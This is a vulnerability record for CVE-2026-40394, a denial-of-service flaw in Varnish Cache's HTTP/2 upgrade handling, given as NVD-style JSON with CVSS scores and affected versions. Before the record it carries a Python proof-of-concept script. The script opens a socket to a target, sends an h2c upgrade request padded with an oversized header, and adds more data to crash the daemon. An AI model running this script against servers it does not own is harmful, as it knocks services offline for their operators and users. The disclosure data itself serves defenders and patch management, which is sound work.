CVE-2026-40394

import socket import time def trigger_poc(target_ip, target_port): try: # Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Construct a malicious HTTP/1 request requesting upgrade to HTTP/2 # with large headers to simulate prefetched data causing workspace split large_prefetch = "X-Large-Header: " + "A" * 8000 + "\r\n" payload = ( "GET / HTTP/1.1\r\n" "Host: " + target_ip + "\r\n" "Connection: Upgrade, HTTP2-Settings\r\n" "Upgrade: h2c\r\n" "HTTP2-Settings: AAMAAABkAAQAAP__\r\n" + large_prefetch + "\r\n" ) s.send(payload.encode()) # Keep connection open or send subsequent data to trigger pipelining overflow # depending on server timing time.sleep(1) # Attempt to send more data to stress the workspace s.send(b"X-Extra-Data: Trigger\r\n\r\n") response = s.recv(1024) print("Response received, check if server crashed.") except Exception as e: print(f"Error: {e}") finally: s.close() # Usage: # trigger_poc("127.0.0.1", 80)

{"cve": {"id": "CVE-2026-40394", "sourceIdentifier": "[email protected]", "published": "2026-04-12T20:16:17.857", "lastModified": "2026-04-17T14:35:23.607", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Varnish Cache 9 before 9.0.1 and Varnish Enterprise before 6.0.16r11 allows a \"workspace overflow\" denial of service (daemon panic) for certain amounts of prefetched data. The setup of an HTTP/2 session starts with a speculative HTTP/1 transport, and upon upgrading to h2 the HTTP/1 request is repurposed as stream zero. During the upgrade, a buffer allocation is made to reserve space to send frames to the client. This allocation would split the original workspace, and depending on the amount of prefetched data, the next fetch could perform a pipelining operation that would run out of workspace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:L", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-670"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:varnish-software:varnish_enterprise:*:*:*:*:*:*:*:*", "versionEndIncluding": "6.0.15", "matchCriteriaId": "E53A64C0-FC22-40B5-8C3B-6288B44AC3FC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:varnish-software:varnish_enterprise:6.0.16:r1:*:*:*:*:*:*", "matchCriteriaId": "F24D68B5-362E-4797-B6DE-C19A2893186C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:varnish-software:varnish_enterprise:6.0.16:r10:*:*:*:*:*:*", "matchCriteriaId": "910BAD01-26E5-4D12-AA23-0BD2D48F229C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:varnish-software:varnish_enterprise:6.0.16:r2:*:*:*:*:*:*", "matchCriteriaId": "05E529DF-DEE1-4A62-998B-CA312DF888FD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:varnish-software:varnish_enterprise:6.0.16:r3:*:*:*:*:*:*", "matchCriteriaId": "8AB27B34-2951-4755-851C-7C942DAFB6C7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:varnish-software:varnish_enterprise:6.0.16:r4:*:*:*:*:*:*", "matchCriteriaId": "18A22D42-B038-4E09-92DD-8AFD2F51A340"}, {"vulnerable": true, "criteria": "cpe:2.3:a:varnish-software:varnish_enterprise:6.0.16:r5:*:*:*:*:*:*", "matchCriteriaId": "FE76D616-3AA8-4D9A-9D41-9AE35FE20DBC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:varnish-software:varnish_enterprise:6.0.16:r6:*:*:*:*:*:*", "matchCriteriaId": "9C5610CF-1FE4-4DF8-8D49-7C0CCF0359E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:varnish-software:varnish_enterprise:6.0.16:r7:*:*:*:*:*:*", "matchCriteriaId": "27B776B2-9C38-45BE-89E4-ECDEEAE538A9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:varnish-software:varnish_enterprise:6.0.16:r8:*:*:*:*:*:*", "matchCriteriaId": "ED3CA600-C88D-4825-8C36-E052822AF59F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:varnish-software:varnish_enterprise:6.0.16:r9:*:*:*:*:*:*", "matchCriteriaId": "6B1D57B1-9771-4195-9EE3-B26EA776FB6B"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vinyl-cache:vinyl_cache:9.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "9868204A-88AD-46D2-BE0B-92FF686B7DE4"}]}]}], "references": [{"url": "https://docs.varnish-software.com/security/VEV00002/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}